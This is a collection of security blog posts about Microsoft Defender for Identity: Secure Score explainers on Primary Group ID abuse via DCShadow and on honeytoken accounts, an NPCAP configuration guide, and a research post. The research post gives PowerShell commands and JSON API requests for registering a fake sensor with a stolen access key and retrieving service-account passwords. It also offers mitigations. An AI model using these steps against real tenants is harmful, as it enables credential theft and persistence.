Author: thalpius

Microsoft Secure Score helps organizations get insights into security posture based on security-related measurements. Microsoft Defender for Identity leverages Secure Score with twenty-seven recommended actions. In a series of blog posts, I will go through all twenty-seven recommended actions and what they mean, a plan of approach, their impact, and my security recommendations, hopefully helping others. The fifteenth  one in the series is the “Accounts with non-default Primary Group ID” recommended action.

Introduction

You have twenty-seven recommendations if you filter the Secure Score recommended actions for Microsoft Defender for Identity.

• Resolve unsecure domain configurations
• Resolve unsecure account attributes
• Remove dormant accounts from sensitive groups
• Protect and manage local admin passwords with Microsoft LAPS
• Configure VPN integration
• Reduce lateral movement path risk to sensitive entities
• Stop clear text credentials exposure
• Disable Print spooler service on domain controllers
• Stop weak cipher usage
• Remove unsecure SID history attributes from entities
• Modify unsecure Kerberos delegations to prevent impersonation
• Install Defender for Identity Sensor on all Domain Controllers
• Set a honeytoken account
• Start your Defender for Identity deployment, installing Sensors on DC’s and other eligible servers
• Accounts with non-default Primary Group ID
• Change Domain Controller computer account old password
• Reversible passwords found in GPOs
• Unsafe permissions on the DnsAdmins group
• GPO assigns unprivileged identities to local groups with elevated privileges
• Remove access rights on suspicious accounts with the Admin SDHolder permission
• Remove local admins on identity assets
• Remove non-admin accounts with DCSync permissions
• GPO can be modified by unprivileged accounts
• Built-in Active Directory Guest account is enabled
• Change password for krbtgt account
• Change password of built-in domain Administrator account
• Ensure that all privileged accounts have the configuration flag

Some recommended actions are easy to configure, but others require time, proper planning, auditing, and expertise. This blog post will review the recommended action of “Accounts with non-default Primary Group ID.”

Update: Microsoft keeps updating the recommended actions list. I will do my best to keep the list up-to-date.

Primary Group ID

As the name suggests, the Primary Group Identifier (PGID) is the primary group of a user object within Active Directory. By default, it is the Relative Identifier (RID) of the Domain Users group. An RID is assigned to objects and is part of the Security Identifier (SID), which identifies an object within Active Directory. The most crucial part is that every user, by default, has the Domain Users as its default group. Every user is then a member of the Domain Users group. Once you create a user within Active Directory, the user is always a member of the Domain Users group.

Here is an example of a user account with the RID of the Domain Users group.

513 is the Domain Users Primary Group Identifier. As we can see in Microsoft’s documentation, 512 is the Primary Group Identifier for the Domain Admins group.

The Attack

If you change the Primary Group Identifier from 513 to 512, the object’s default group is the Domain Admins group. However, someone noticed that not all tooling shows that the object is a member of the Domain Admins group after changing its Primary Group Identifier, hiding the object from privileged groups. The malicious actor needs complete control over the object, so this attack is not used for privilege escalation but for persistence and stealth.

Changing the Primary Group Identifier takes work. If you change the PGID using PowerShell, you will see the following error.

You get an error because validation occurs to check if the PGID matches the group the object is a member of. Another smart cookie discovered that this check does not occur when changing the object as a fake Domain Controller and then syncing the object to the production Domain Controllers. The attack mentioned above is called “DCShadow Attack.”

A DCShadow attack creates a Roque Domain Controller by placing objects in the configuration partition, triggering a synchronization, and removing them from the configuration partition. The best-known tool for performing a DCShadow attack is Mimikatz. After changing the RID of the object in Active Directory to 512, it looks like this.

Unfortunately, I did not find any tools that do not show the object’s group membership. I have seen some screenshots online that do not show the group membership, but Active Directory Users and Computers show the group membership after changing the PGID.

Accounts with non-default Primary Group ID

Microsoft Defender for Identity monitors user and computer objects in Active Directory for non-default group IDs, such as 513 for Domain Users and 515 for Domain Computers. A domain Administrator account default PGID is a Domain User with an added Domain Admin group. There is no need to change the PGID to become a Domain Administrator.

Conclusion

If no POSIX standard, which dates back to the beginning of the 1980s, is used, there is no need to change any object PGID. However, if an object is a user or computer object, change the object PGID to 513 and add the correct groups to mitigate the attack. Luckily, Microsoft Defender for Identity helps us identify objects within Active Directory using this Recommended action.

Microsoft Secure Score helps organizations get insights into security posture based on security-related measurements. Microsoft Defender for Identity leverages Secure Score with twenty-seven recommended actions. In a series of blog posts, I will go through all twenty-seven recommended actions and what they mean, a plan of approach, their impact, and my security recommendations, hopefully helping others. The fourteenth  one in the series is the “Start your Defender for Identity deployment, installing Sensors on DC’s and other eligible servers” recommended action.

Introduction

You have twenty-seven recommendations if you filter the Secure Score recommended actions for Microsoft Defender for Identity.

• Resolve unsecure domain configurations
• Resolve unsecure account attributes
• Remove dormant accounts from sensitive groups
• Protect and manage local admin passwords with Microsoft LAPS
• Configure VPN integration
• Reduce lateral movement path risk to sensitive entities
• Stop clear text credentials exposure
• Disable Print spooler service on domain controllers
• Stop weak cipher usage
• Remove unsecure SID history attributes from entities
• Modify unsecure Kerberos delegations to prevent impersonation
• Install Defender for Identity Sensor on all Domain Controllers
• Set a honeytoken account
• Start your Defender for Identity deployment, installing Sensors on DC’s and other eligible servers
• Accounts with non-default Primary Group ID
• Change Domain Controller computer account old password
• Reversible passwords found in GPOs
• Unsafe permissions on the DnsAdmins group
• GPO assigns unprivileged identities to local groups with elevated privileges
• Remove access rights on suspicious accounts with the Admin SDHolder permission
• Remove local admins on identity assets
• Remove non-admin accounts with DCSync permissions
• GPO can be modified by unprivileged accounts
• Built-in Active Directory Guest account is enabled
• Change password for krbtgt account
• Change password of built-in domain Administrator account
• Ensure that all privileged accounts have the configuration flag

Some recommended actions are easy to configure, but others require time, proper planning, auditing, and expertise. This blog post will review the recommended action of “Start your Defender for Identity deployment, installing Sensors on DC’s and other eligible servers.”

Update: Microsoft keeps updating the recommended actions list. I will do my best to keep the list up-to-date.

Installing sensors on Domain Controllers and other eligible servers

In one of my previous blog posts, I mentioned installing Microsoft Defender for Identity on all domain controllers because not all data synchronizes between them. Not installing a sensor on a Domain Controller increases the risk of a successful compromise if a malicious actor attacks that Domain Controller. For that reason, Microsoft recommends installing a sensor on all Domain Controllers. This recommended action looks the same as my previous blog post, but there is a difference. This recommended action is for workspaces with a license but no sensors. With “no sensor,” I mean the Active Directory Domain Services servers (AD DS), Active Directory Federation Services servers (AD FS), Active Directory Certificate Services servers (AD CS), and AD Connect servers, hence “other eligible servers.”

Conclusion

The description is confusing, as there is a recommended action about installing the sensors already. Still, as confirmed by Microsoft, this recommended action describes when no sensors are installed at all. Once again, it is crucial to install sensors on all eligible servers, as it is a security risk not to install a sensor since there are ways to detect whether a server contains a sensor mentioned in my previous blog post.

Microsoft Defender for Identity uses NPCAP to inspect packets for malicious intent. Sometimes, NPCAP is not configured correctly for Microsoft Defender for Identity or is installed by another program with different settings, resulting in health issues reported by Microsoft Defender for Identity. In this blog post, I will describe the settings used by Microsoft Defender for Identity and how to fix the health issues regarding NPCAP.

Network Packet Capture

NPCAP, which stands for Network Packet Capture, automatically installs when installing Microsoft Defender for Identity. It is a library that allows for the capture and injection of network packets. It is mainly known when installing the packet analyzer Wireshark and Microsoft Defender for Identity, which uses NPCAP to inspect packets for malicious intent. Sometimes, NPCAP is not configured correctly for Microsoft Defender for Identity or is installed by another program with different settings, resulting in health issues reported by Microsoft Defender for Identity.

Microsoft Defender for Identity

Many options are supported when installing NPCAP. Microsoft Defender for Identity uses the following options when installing NPCAP.

/loopback_support=no /winpcap_mode=yes /admin_only=no /S

Let us go through all of them. The /S is a silent installation and is the easiest to understand. Loopback support is an option for older versions of NPCAP for a loopback adapter, but it is not needed anymore. Previously, Microsoft Defender for Identity used WinPCAP to capture packets, but since WinPCAP is no longer supported, Microsoft Defender for Identity switched to NPCAP. WinPCAP mode installs NPCAP and removes WinPCAP. Admin only is an option where only administrators have access to the NPCAP driver. An Access Control List (ACL) sets permissions for only the SYSTEM and Administrator accounts. Users without administrative permissions require a User Access Control (UAC) elevation.

I created a script to check if the settings comply with the Microsoft Defender for Identity sensor expectations. Microsoft Defender for Identity expects the following settings.

• Property AdminOnly set to 0 in HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\npcap andHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters
• Property WinPcapCompatible set to 1 in HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\npcap andHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters
• Property LoopbackSupport set to 1 in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters
• Property LoopbackAdapter can not exist in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\npcap\Parameters

Here is an example of the script.

Note: Save the script to the Domain Controller and run the script to validate the NPCAP settings.

& '.\MDI NPCAP Config Checker.ps1'

For example, the script fails on the “admin only” option, and Microsoft Defender for Identity reports health issues. Knowing what “admin only” does, you can change the registry settings and restart the NPCAP service to resolve the health issues in Microsoft Defender for Identity.

Conclusion

When you install NPCAP with the default setting, there will be no health issues in Microsoft Defender for Identity. Still, sometimes NPCAP is installed using a different application or settings, or a different option is selected, which causes health issues in Microsoft Defender for Identity. Knowing the impact of changing the option and restarting the service is enough to fix any health issues regarding NPCAP and Microsoft Defender for Identity.

Microsoft Secure Score helps organizations get insights into security posture based on security-related measurements. Microsoft Defender for Identity leverages Secure Score with twenty-seven recommended actions. In a series of blog posts, I will go through all twenty-seven recommended actions and what they mean, a plan of approach, their impact, and my security recommendations, hopefully helping others. The thirteenth  one in the series is the “Set a honeytoken account” recommended action.

Introduction

You have twenty-seven recommendations if you filter the Secure Score recommended actions for Microsoft Defender for Identity.

• Resolve unsecure domain configurations
• Resolve unsecure account attributes
• Remove dormant accounts from sensitive groups
• Protect and manage local admin passwords with Microsoft LAPS
• Configure VPN integration
• Reduce lateral movement path risk to sensitive entities
• Stop clear text credentials exposure
• Disable Print spooler service on domain controllers
• Stop weak cipher usage
• Remove unsecure SID history attributes from entities
• Modify unsecure Kerberos delegations to prevent impersonation
• Install Defender for Identity Sensor on all Domain Controllers
• Set a honeytoken account
• Start your Defender for Identity deployment, installing Sensors on DC’s and other eligible servers
• Accounts with non-default Primary Group ID
• Change Domain Controller computer account old password
• Reversible passwords found in GPOs
• Unsafe permissions on the DnsAdmins group
• GPO assigns unprivileged identities to local groups with elevated privileges
• Remove access rights on suspicious accounts with the Admin SDHolder permission
• Remove local admins on identity assets
• Remove non-admin accounts with DCSync permissions
• GPO can be modified by unprivileged accounts
• Built-in Active Directory Guest account is enabled
• Change password for krbtgt account
• Change password of built-in domain Administrator account
• Ensure that all privileged accounts have the configuration flag

Some recommended actions are easy to configure, but others require time, proper planning, auditing, and expertise. This blog post will review the recommended action of “Set a honeytoken account.”

Update: Microsoft keeps updating the recommended actions list. I will do my best to keep the list up-to-date.

Honeytoken Account

Microsoft Defender for Identity monitors your on-premises environment. One of its features is setting up a honeytoken account. A honeytoken account is a dormant account that traps malicious actors attempting to use it. Microsoft Defender for Identity supports adding multiple honeytoken accounts. This blog post will describe my recommendations for setting up a honeytoken account.

Recommendations

A honeytoken account is a dormant account used as a trap for malicious actors. After setting it up as a honeytoken account, any activity associated with it triggers an alert. Since a honeytoken account usually shows no activity, use it after creation or occasionally create some activity to make it less obvious it is a honeytoken account. Here are my recommendations regarding a honeytoken account.

1. Malicious actors use the object’s “adminCount” property to see if it is a privileged account. It is an easy and quick way for malicious actors to identify any object in Active Directory with high privileges. Either set the “adminCount” to 1 or add the user to a group with elevated privileges.
2. When adding a honeytoken account to a highly privileged group, ensure that a malicious actor cannot take control of the account. For example, when the account is Kerberoastable, set a strong, generated password that can not be brute-forced.
3. Use an old account that has never been used but shows some past activity because of the creation date. Just be sure you use an account with no active activity, or it will trigger false-positive alerts.
4. If using an admin account, ensure it does not stick out. When using a honeytoken account with the name “adm-thalpius,” be sure there’s an account named “thalpius” if all other “adm” accounts have similar accounts as well.
5. Use multiple accounts as a honeytoken account so the malicious actor is not limited to falling for a single trap.
6. Use a service account that does not stand out from the rest and add a valid Service Principal Name. Using a Service Principal Name makes an account Kerberoastable. Kerberoasting is an attack in which authenticated users can request a Kerberos ticket encrypted with the account’s password. If a malicious actor brute-forces the ticket, the malicious actor holds the plain-text password of that account.
7. Do not use only the Administrator account as a honeytoken account. Malicious actors are likelier to use low-hanging fruit like password sprays, Kerberoasting, AS-Rep roasting, etc. You want to detect a potential attack as soon as possible, and a malicious actor is probably going for something other than the Administrator account in the first place. A Domain Admin account or an account for a crown-jewel application is their end goal.

Setting a honeytoken account in Microsoft Defender for Identity is easy, but an account that is helpful as a honeytoken account can be challenging.

Conclusion

Setting up a honeytoken account is challenging, but once done correctly, it is a perfect way to set a trap for malicious actors. Since Microsoft Defender for Identity supports multiple honeytoken accounts, I recommend setting up multiple accounts to increase the risk of a malicious actor falling for it.

In my previous blog posts, I described how to talk to the deployment API endpoint and get plain-text passwords from the JSON API endpoint. In my last method, a malicious actor must first compromise a Domain Controller to talk to the JSON API endpoint. In this blog post, I will explain how to get plain-text passwords using just the access key without compromising a Domain Controller. Anyone who can access the access key using the Microsoft Defender XDR portal or holds the access key can get plain-text passwords from all Directory Services Accounts within Microsoft Defender for Identity. Obviously, I will describe which mitigations to take to lower the risk.

Introduction

In my previous blog posts, I identified three API endpoints, one of which is the deployment API endpoint. To authenticate to the deployment API endpoint, you need the access key in Microsoft Defender XDR when adding a sensor. Microsoft states the access key is ‘only‘ used during the sensor installation. While this is technically correct, it is crucial to be aware that a malicious actor could potentially misuse the access key to gain access to sensitive information.

During the sensor installation, the deployment API accepts a request to create the sensor. Since Microsoft Defender for Identity uses self-signed certificates, the installation creates a self-signed certificate during the installation. Microsoft Defender for Identity sends the public key to the cloud for future reference. After the installation, authentication takes place using the self-signed certificate; hence, the access key is no longer needed. Since it is a self-signed certificate, you can create a self-signed certificate and create a fake sensor in the cloud and talk to the cloud using the self-created self-signed certificate.

In my previous blog post, I described how you could export the certificate used by Microsoft Defender for Identity with Mimikatz. However, since you can create a fake sensor using the deployment API, there is no need to export any certificate; hence, there is no need to compromise a Domain Controller. All you need is the access key, the Workspace ID, and the Workspace name.

Self-Signed Certificate

To create a valid API request, you need a valid self-signed certificate. There are many ways to create a self-signed certificate and get the public key needed to send the request, but you can use the following PowerShell command to create a self-signed certificate.

New-SelfSignedCertificate -DnsName "aaaaaaaa-bbbb-cccc-dddd-aaaaaaaaaaaa.<Workspace ID>.local" -CertStoreLocation cert:\LocalMachine\My -FriendlyName "Azure ATP Sensor" -Subject "Azure ATP Sensor" -NotAfter (Get-Date).AddYears(2)

Once you have created the self-signed certificate, export the certificate using the following PowerShell commands.

# Get the thumbprint of the cert first
Get-ChildItem Cert:\LocalMachine\My\
# Create a variable with the password for the password protect file certificate
$password = ConvertTo-SecureString -String 'thalpius' -Force -AsPlainText
# Export the certificate using the PFX file format with the given password
Get-ChildItem -Path Cert:\LocalMachine\My\<thumbprint cert> | Export-PfxCertificate -FilePath C:\Users\thalpius\Downloads\mdi.pfx -Password $password

Then, use the following command to extract the public key that you use as the “RawData” in the request.

# Get the thumbprint of the cert first
Get-ChildItem Cert:\LocalMachine\My\
# Save the certificate in a variable for later reference
$cert = Get-Item "cert:\localmachine\my\<thumbprint cert>"
# Extract the public key from the certificate
[System.Convert]::ToBase64String($cert.RawData)

Fake Sensor

Now that you have created a valid key pair, you can send the API request to create a fake sensor using a tool I made previously. To authenticate to the deployment API endpoint, we only need the access key, the workspace name, and the workspace ID. When using unified RBAC, anyone with permission to “Read and manage system settings” can access the information needed to perform this attack.

Use my tool and send the following request to create a fake Microsoft Defender for Identity sensor.

{
  "$type": "CreateSensorRequest",
  "Certificate": {
    "$type": "X509Certificate2",
    "RawData": "MII<SNIP>ltFSxYia"
  },
  "DnsName": "hacked.thalpius.local",
  "NetbiosName": "hacked",
  "NetworkAdapters": [
    {
      "$type": "NetworkAdapter",
      "Id": "{9846C447-1A36-4739-B469-E03769E013DE}",
      "Name": "Ethernet",
      "State": "EnabledConnected",
      "IpAddresses": [
        "10.211.55.83",
        "[fdb2:2c26:f4e4:0:558b:329c:4fd7:477e]",
        "[fe80::558b:329c:4fd7:477e%9]"
      ]
    }
  ],
  "ShouldEnableDelayedUpdate": false,
  "Type": "DomainControllerIntegrated",
  "Version": "2.999"
}

If you refresh the portal, you will see the newly created fake sensor.

You can use any information, such as the DNS name, sensor version, Netbiosname, etc.

Request Sensor Configuration

Once you have created a fake sensor, you can use the self-signed certificate to send an API request to the JSON API endpoint and get sensitive information using the same tool I created.

{
  "$type": "GetSensorUpdaterConfigurationRequest",

"Certificate": {
    "$type": "X509Certificate2",
    "RawData": "MII<SNIP>ltFSxYia"
  },
  "version": "2.999"
}

Mitigations

As I mentioned in my previous blog post, once you use “normal” accounts with a password, you can extract the encrypted password and decrypt it with the tool I created. Always use a Group Managed Service Account (gMSA) for Microsoft Defender for Identity. You can get sensitive information, but not plain-text passwords for the Directory Services Accounts.

Unfortunately, there is no way to hide the “shared secret” when using a VPN integration. This attack exposes the “shared secret” for the VPN integration regardless.

If you shared an access key, regenerate it. Old access keys are invalid, and performing this attack with an old access key is impossible. I would love to see Microsoft generate a new access key after every “create sensor” API request.

Conclusion

Before, a malicious actor had to compromise a domain controller to extract sensitive information. With this attack, only the access key, the Workspace ID, and the Workspace name are enough to perform the attack. Luckily, the mitigations described in this blog post can primarily mitigate this attack.